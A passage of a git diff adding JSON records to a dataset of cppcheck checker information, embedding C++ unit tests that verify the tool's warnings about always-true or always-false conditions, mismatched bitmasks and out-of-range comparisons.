// #8545\n \" if (i > -129) {}\\n\" // warn\n \" if (i >= -128) {}\\n\" // warn\n \" if (i >= -127) {}\\n\"\n \" if (i < +128) {}\\n\" // warn\n \" if (i <= +127) {}\\n\" // warn\n \" if (i <= +126) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Comparing expression of type 'const signed char' against value -129. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:3:15]: (style) Comparing expression of type 'const signed char' against value -128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:5:15]: (style) Comparing expression of type 'const signed char' against value 128. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:15]: (style) Comparing expression of type 'const signed char' against value 127. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n\n check(\"void f(const unsigned char u) {\\n\"\n \" if (u > 0) {}\\n\"\n \" if (u < 0) {}\\n\" // warn\n \" if (u >= 0) {}\\n\" // warn\n \" if (u <= 0) {}\\n\"\n \" if (u > 255) {}\\n\" // warn\n \" if (u < 255) {}\\n\"\n \" if (u >= 255) {}\\n\"\n \" if (u <= 255) {}\\n\" // warn\n \" if (0 < u) {}\\n\"\n \" if (0 > u) {}\\n\" // warn\n \" if (0 <= u) {}\\n\" // warn\n \" if (0 >= u) {}\\n\"\n \" if (255 < u) {}\\n\" // warn\n \" if (255 > u) {}\\n\"\n \" if (255 <= u) {}\\n\"\n \" if (255 >= u) {}\\n\" // warn\n \"}\\n\", dinit(CheckOptions, $.s = &settingsUnix64));\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:4:14]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:6:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:9:14]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:11:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:12:9]: (style) Comparing expression of type 'const unsigned char' against value 0. Condition is always true. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:14:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always false. [compareValueOutOfTypeRangeError]\\n\"\n \"[test.cpp:17:9]: (style) Comparing expression of type 'const unsigned char' against value 255. Condition is always true. [compareValueOutOfTypeRangeError]\\n\",\n errout_str());\n }\n\n void knownConditionCast() {\n check(\"void f(int i) {\\n\" // #9976\n \" if (i < 0 || (unsigned)i > 5) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B {\\n\" // #12941\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct One : public B {};\\n\"\n \"struct Two : public B {};\\n\"\n \"void g(const B& b) {\\n\"\n \" const Two* two = nullptr;\\n\"\n \" const One* one = dynamic_cast(&b);\\n\"\n \" if (one == nullptr)\\n\"\n \" two = dynamic_cast(&b);\\n\"\n \" if (two) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionIncrementLoop() { // #9808\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while (++a < 5) {}\\n\"\n \" if (a == 1) {}\\n\"\n \" std::cout << a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionAfterBailout() { // #12526\n check(\n \"#include \\n\"\n \"int func()\\n\"\n \"{\\n\"\n \" return VALUE_1;\"\n \"}\\n\"\n \"\\n\"\n \"struct S1 {\\n\"\n \" bool b{};\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct S {\\n\"\n \" void f(const std::list& l) const\\n\"\n \" {\\n\"\n \" if (mS.b)\\n\"\n \" return;\\n\"\n \" for (int i : l)\\n\"\n \" {\\n\"\n \" (void)i;\\n\"\n \" if (mS.b)\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"\\n\"\n \" S1 mS;\\n\"\n \"};\"\n );\n ASSERT_EQUALS(\"[test.cpp:13:11] -> [test.cpp:18:13]: (style) Condition 'mS.b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void knownConditionIncDecOperator() {\n check(\n \"void f() {\\n\"\n \" unsigned int d = 0;\\n\"\n \" for (int i = 0; i < 4; ++i) {\\n\"\n \" if (i < 3)\\n\"\n \" ++d;\\n\"\n \" else if (--d == 0)\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownConditionFloating() {\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0f;\\n\"\n \" if (f > 1.0L) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0L' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11199\n \" float f = 1.0L;\\n\"\n \" if (f > 1.0f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f>1.0f' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11201\n \" float f = 0x1.4p+3;\\n\" // hex fraction 1.4 (decimal 1.25) scaled by 2^3, that is 10.0\n \" if (f > 9.9) {}\\n\"\n \" if (f < 9.9) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:11]: (style) Condition 'f<9.9' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" double d = 1.0;\\n\"\n \" if (d < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'd<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" long double ld = 1.0;\\n\"\n \" if (ld < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition 'ld<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12330\n \" float f = 1.0;\\n\"\n \" if (f < 0.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'f<0.0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0f;\\n\"\n \" if (f > 1.01f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01f' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #12774\n \" float f = 1.0;\\n\"\n \" if (f > 1.01) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1.01' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00f' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"// #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.00' is always false\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>+1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:11]: (style) Condition 'f>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'f>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'pf>-1.0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'pf>1.0' is always true\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: (style) Condition 'nf>1.0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // / #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:3]: (style) Condition 'nf>-1.0' is always false\\n\",\n \"\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestCondition)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkIncorrectLogicOperator.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkIncorrectLogicOperator.json new file mode 100644 index 0000000..896ee84 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckCondition/checkIncorrectLogicOperator.json @@ -0,0 +1,38 @@ +{ + "name": "checkIncorrectLogicOperator", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 182, + "branches": 39, + "apis": 152, + "test": [ + { + "description": null, + "expected-problems": 17, + "expected-linenumbers": [ + 954, + 1048, + 1273, + 1286, + 1302, + 1309, + 1336, + 1370, + 1377, + 1386, + 1395, + 1409, + 1503, + 1518, + 1725, + 1748, + 1755 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkcondition.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n\nclass TestCondition : public TestFixture {\npublic:\n TestCondition() : TestFixture(\"TestCondition\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().library(\"qt.cfg\").library(\"std.cfg\").severity(Severity::style).severity(Severity::warning).build();\n /*const*/ Settings settings1 = settingsBuilder().severity(Severity::style).severity(Severity::warning).build();\n\n void run() override {\n const char cfg[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \"\";\n settings1 = settingsBuilder(settings1).libraryxml(cfg).build();\n\n mNewTemplate = true;\n TEST_CASE(assignAndCompare); // assignment and comparison don't match\n TEST_CASE(mismatchingBitAnd); // overlapping bitmasks\n TEST_CASE(comparison); // CheckCondition::comparison test cases\n TEST_CASE(multicompare); // mismatching comparisons\n TEST_CASE(overlappingElseIfCondition); // overlapping conditions in if and else-if\n TEST_CASE(oppositeElseIfCondition); // opposite conditions in if and else-if\n\n TEST_CASE(checkBadBitmaskCheck);\n\n TEST_CASE(incorrectLogicOperator1);\n TEST_CASE(incorrectLogicOperator2);\n TEST_CASE(incorrectLogicOperator3);\n TEST_CASE(incorrectLogicOperator4);\n TEST_CASE(incorrectLogicOperator5); // complex expressions\n TEST_CASE(incorrectLogicOperator6); // char literals\n TEST_CASE(incorrectLogicOperator7); // opposite expressions: (expr || !expr)\n TEST_CASE(incorrectLogicOperator8); // !\n TEST_CASE(incorrectLogicOperator9);\n TEST_CASE(incorrectLogicOperator10); // enum\n TEST_CASE(incorrectLogicOperator11);\n TEST_CASE(incorrectLogicOperator12);\n TEST_CASE(incorrectLogicOperator13);\n TEST_CASE(incorrectLogicOperator14);\n TEST_CASE(incorrectLogicOperator15);\n TEST_CASE(incorrectLogicOperator16); // #10070\n TEST_CASE(incorrectLogicOperator17);\n TEST_CASE(secondAlwaysTrueFalseWhenFirstTrueError);\n TEST_CASE(incorrectLogicOp_condSwapping);\n TEST_CASE(testBug5895);\n TEST_CASE(testBug5309);\n\n TEST_CASE(modulo);\n\n TEST_CASE(oppositeInnerCondition);\n TEST_CASE(oppositeInnerConditionPointers);\n TEST_CASE(oppositeInnerConditionClass);\n TEST_CASE(oppositeInnerConditionUndeclaredVariable);\n TEST_CASE(oppositeInnerConditionAlias);\n TEST_CASE(oppositeInnerCondition2);\n TEST_CASE(oppositeInnerCondition3);\n TEST_CASE(oppositeInnerConditionAnd);\n TEST_CASE(oppositeInnerConditionOr);\n TEST_CASE(oppositeInnerConditionEmpty);\n TEST_CASE(oppositeInnerConditionFollowVar);\n TEST_CASE(oppositeInnerConditionLambda);\n\n TEST_CASE(identicalInnerCondition);\n\n TEST_CASE(identicalConditionAfterEarlyExit);\n TEST_CASE(innerConditionModified);\n\n TEST_CASE(clarifyCondition1); // if (a = b() < 0)\n TEST_CASE(clarifyCondition2); // if (a & b == c)\n TEST_CASE(clarifyCondition3); // if (! a & b)\n TEST_CASE(clarifyCondition4); // ticket #3110\n TEST_CASE(clarifyCondition5); // #3609 CWinTraits..\n TEST_CASE(clarifyCondition6); // #3818\n TEST_CASE(clarifyCondition7);\n TEST_CASE(clarifyCondition8);\n\n TEST_CASE(alwaysTrue);\n TEST_CASE(alwaysTrueSymbolic);\n TEST_CASE(alwaysTrueInfer);\n TEST_CASE(alwaysTrueContainer);\n TEST_CASE(alwaysTrueLoop);\n TEST_CASE(alwaysTrueTryCatch);\n TEST_CASE(multiConditionAlwaysTrue);\n TEST_CASE(duplicateCondition);\n\n TEST_CASE(checkInvalidTestForOverflow);\n TEST_CASE(checkConditionIsAlwaysTrueOrFalseInsideIfWhile);\n TEST_CASE(alwaysTrueFalseInLogicalOperators);\n TEST_CASE(pointerAdditionResultNotNull);\n TEST_CASE(duplicateConditionalAssign);\n\n TEST_CASE(checkAssignmentInCondition);\n TEST_CASE(compareOutOfTypeRange);\n TEST_CASE(knownConditionCast); // #9976\n TEST_CASE(knownConditionIncrementLoop); // #9808\n TEST_CASE(knownConditionAfterBailout); // #12526\n TEST_CASE(knownConditionIncDecOperator);\n TEST_CASE(knownConditionFloating);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n const Settings* s = nullptr;\n bool cpp = true;\n bool inconclusive = false;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n void checkP_(const char* file, int line, const char code[])\n {\n const Settings settings = settingsBuilder(settings0).severity(Severity::performance).certainty(Certainty::inconclusive).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Run checks..\n runChecks(tokenizer, this);\n }\n\n void assignAndCompare() {\n // &\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y == 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x)\\n\"\n \"{\\n\"\n \" int y = x & 4;\\n\"\n \" if (y != 3);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y!=3' is always true. [assignIfError]\\n\", errout_str());\n\n // |\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x710);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==0x710' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x | 0x14;\\n\"\n \" if (y == 0x71f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // various simple assignments\n check(\"void foo(int x) {\\n\"\n \" int y = (x+1) | 1;\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int y = 1 | x();\\n\"\n \" if (y == 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:8]: (style) Mismatching assignment and comparison, comparison 'y==2' is always false. [assignIfError]\\n\", errout_str());\n\n // multiple conditions\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((y == 3) && (z == 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" int y = x & 4;\\n\"\n \" if ((x==123) || ((y == 3) && (z == 1)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:22]: (style) Mismatching assignment and comparison, comparison 'y==3' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (setvalue(&y) && y != 8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // recursive checking into scopes\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" if (z) y=0;\\n\"\n \" else { if (y==8); }\\n\" // always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:15]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n // while\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" while (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:11]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" while (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) y--;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:5:15] -> [test.cpp:6:15]: (style) Mismatching assignment and comparison, comparison 'y!=0' is always true. [assignIfError]\\n\",\n errout_str());\n\n check(\"void g(int &x);\\n\"\n \"void f(int x) {\\n\"\n \" int a = 100;\\n\"\n \" while (x) {\\n\"\n \" int y = 16 | a;\\n\"\n \" while (y != 0) g(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // calling function\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // local variable => always false\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(&y);\\n\" // passing variable => no error\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void do_something(int);\\n\"\n \"void f(int x) {\\n\"\n \" int y = x & 7;\\n\"\n \" do_something(y);\\n\"\n \" if (y==8);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:8]: (style) Mismatching assignment and comparison, comparison 'y==8' is always false. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" extern int y; y = x & 7;\\n\"\n \" do_something();\\n\"\n \" if (y==8);\\n\" // non-local variable => no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4434 : false positive: ?:\n check(\"void f(int x) {\\n\"\n \" x = x & 1;\\n\"\n \" x = x & 1 ? 1 : -1;\\n\"\n \" if(x != -1) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4735\n check(\"void f() {\\n\"\n \" int x = *(char*)&0x12345678;\\n\"\n \" if (x==18) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: no variable info\n check(\"void foo(int x) {\\n\"\n \" y = 2 | x;\\n\" // y not declared => no error\n \" if(y == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: negative number\n check(\"void foo(int x) {\\n\"\n \" int y = -2 | x;\\n\" // negative number => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // bailout: pass variable to function\n check(\"void foo(int x) {\\n\"\n \" int y = 2 | x;\\n\"\n \" bar(&y);\\n\" // pass variable to function => no error\n \" if (y==1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no crash on unary operator& (#5643)\n // #11610\n check(\"SdrObject* ApplyGraphicToObject() {\\n\"\n \" if (&rHitObject) {}\\n\"\n \" else if (rHitObject.IsClosedObj() && !&rHitObject) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Condition '&rHitObject' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:42]: (style) Condition '!&rHitObject' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #5695: increment\n check(\"void f(int a0, int n) {\\n\"\n \" int c = a0 & 3;\\n\"\n \" for (int a = 0; a < n; a++) {\\n\"\n \" c++;\\n\"\n \" if (c == 4)\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while (x <= 4) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:8]: (style) Mismatching assignment and comparison, comparison 'x!=5' is always true. [assignIfError]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\" // #6662\n \" int x = a & 1;\\n\"\n \" while ((x += 4) < 10) {\\n\"\n \" if (x != 5) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (style) Condition 'x' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(int & x);\\n\"\n \"void f() {\\n\"\n \" int x = 100;\\n\"\n \" while (x) {\\n\"\n \" g(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void mismatchingBitAnd() {\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" b &= 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:5]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a & 0xf0;\\n\"\n \" int c = b & 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Mismatching bitmasks. Result is always 0 (X = Y & 0xf0; Z = X & 0x1; => Z=0). [mismatchingBitAnd]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" int b = a;\"\n \" switch (x) {\\n\"\n \" case 1: b &= 1; break;\\n\"\n \" case 2: b &= 2; break;\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void comparison() {\n // CheckCondition::comparison test cases\n // '=='\n check(\"void f(int a) {\\n assert( (a & 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & b & 4 & c ) == 3 );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Expression '(X & 0x4) == 0x3' is always false. [comparisonError]\\n\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) == 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) == 0x8' is always false. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) == 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x01) == -15 );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '!='\n check(\"void f(int a) {\\n assert( (a & 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X & 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 8U );\\n}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Expression '(X | 0x7) != 0x8' is always true. [comparisonError]\\n\",errout_str());\n check(\"void f(int a) {\\n assert( (a & 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int a) {\\n assert( (a | 0x07) != 7U );\\n}\");\n ASSERT_EQUALS(\"\", errout_str());\n // '>='\n 